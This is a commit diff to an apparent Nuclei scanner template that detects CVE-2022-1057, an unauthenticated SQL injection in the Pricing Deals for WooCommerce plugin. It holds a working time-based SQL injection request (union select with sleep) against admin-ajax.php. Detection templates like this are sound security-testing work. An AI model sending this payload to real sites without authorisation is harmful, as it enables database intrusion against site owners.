Update CVE-2022-1057.yaml

cves/2022/CVE-2022-1057.yaml

@@ -1,7 +1,7 @@
 id: CVE-2022-1057
 
 info:
-  name: Pricing Deals for WooCommerce < 2.0.3 - Unauthenticated SQLi
+  name: Pricing Deals for WooCommerce < 2.0.3 - Unauthenticated SQL Injection
   author: theamanrawat
   severity: critical
   description: |
@@ -14,18 +14,19 @@ info:
     cve-id: CVE-2022-1057
   metadata:
     verified: true
-  tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,pricing-deals-for-woocommerce,uauth
+  tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,pricing-deals-for-woocommerce,unauth
 
 requests:
   - raw:
       - |
         @timeout: 15s
-        GET /wp-admin/admin-ajax.php?action=vtprd_product_search_ajax&term=aaa%27+union+select+1,sleep(5),3--+- HTTP/1.1
+        GET /wp-admin/admin-ajax.php?action=vtprd_product_search_ajax&term=aaa%27+union+select+1,sleep(6),3--+- HTTP/1.1
         Host: {{Hostname}}
 
-    matchers-condition: and
     matchers:
       - type: dsl
         dsl:
-          - 'duration>=5'
-          - 'status_code == 500'
+          - 'duration>=6'
+          - 'status_code == 500'
+          - 'contains(body, "been a critical error")'
+        condition: and